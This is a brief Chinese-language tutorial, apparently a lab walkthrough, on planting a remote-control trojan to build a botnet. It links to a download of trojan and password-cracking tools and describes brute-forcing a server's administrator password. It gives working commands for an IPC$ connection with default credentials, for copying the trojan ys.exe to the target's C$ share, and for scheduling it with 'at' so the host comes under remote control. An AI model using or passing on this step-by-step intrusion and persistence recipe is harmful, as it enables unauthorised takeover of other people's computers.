一、背景黑产组织需要在互联网中抓大量的肉鸡制作一个可以远程控制肉鸡电脑的木马然后在通过各种方式在互联网上抓鸡捆绑、钓鱼、入侵、供应链攻击二、准备动作找一台PCWindows版本 win10以上不能使用再找一台服务器win03账密administrator 123.木马工具、账密破解工具https://1833702214.share.123pan.cn/123pan/kUvATd-F7p2v?pwdOgKP#三、准备环境1、需要两台PC能够在网络上连接调整网卡在VMnet3手动配置ip方便实验2.测试连通性3.暴力破解账号密码4.打开大白鲨远程管理软件配置服务端生成木马改名为ys.exe方便实验5.通过网络共享管道进行IPC连接连接之后可以传输到对面服务器中net use \\10.0.0.1\ipc$ 123 /user:administrator通过系统net use命令来跟10.0.0.1的IPC$共享管道建立网络链接使用的默认的管理员账密6、拷贝木马文件到被攻击电脑上copy ys.exe\\10.0.0.1\c$7、查看对端PC时间net time\\10.0.0.18、通过任务计划来实现无人控制木马定时启动at \\10.0.0.1 09:02 \\10.0.0.1\c$\ys.exe9、稍等片刻即可发现目标主机上线了此时就可以控制目标主机了
